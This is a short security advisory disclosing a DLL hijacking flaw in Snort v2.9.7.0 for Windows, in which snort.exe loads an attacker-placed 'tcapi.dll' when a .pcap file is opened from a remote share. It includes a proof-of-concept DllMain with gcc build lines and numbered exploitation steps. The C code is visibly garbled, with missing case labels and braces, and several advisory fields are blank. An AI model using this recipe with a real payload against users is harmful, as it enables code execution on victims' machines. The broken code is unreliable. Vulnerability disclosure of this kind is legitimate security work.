Snort v2.9.7.0-WIN32 DLL Hijack Oct 12 2016 06:08PM
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[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/SNORT-DLL-HIJACK.txt

[+] ISR: ApparitionSec


Snort v2.9.7.0-WIN32

Snort is an open-source, free and lightweight network intrusion detection system (NIDS) software for Linux and Windows to detect emerging threats.

Vulnerability Type:
DLL Hijack

CVE Reference:

Vulnerability Details:

snort.exe can be exploited to execute arbitrary code on victims system via DLL hijacking, the vulnerable DLL is "tcapi.dll".
If a user opens a ".pcap" file from a remote share using snort.exe and the DLL exists in that directory.

Exploit codes(s):

Create tcapi.dll


//gcc -c tcapi.c
//gcc -shared -o tcapi.dll tcapi.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
switch (reason) {
MessageBox(NULL, "DLL Hijacking", "Done!", MB_OK);

return 0;

1) create any empty file on a remote dir share with a .pcap extension
2) place arbitrary DLL named "tcapi.dll" in remote share
3) open with snort.exe
4) BAM!

Disclosure Timeline:
Vendor Notification: April 21, 2016
September 29, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:

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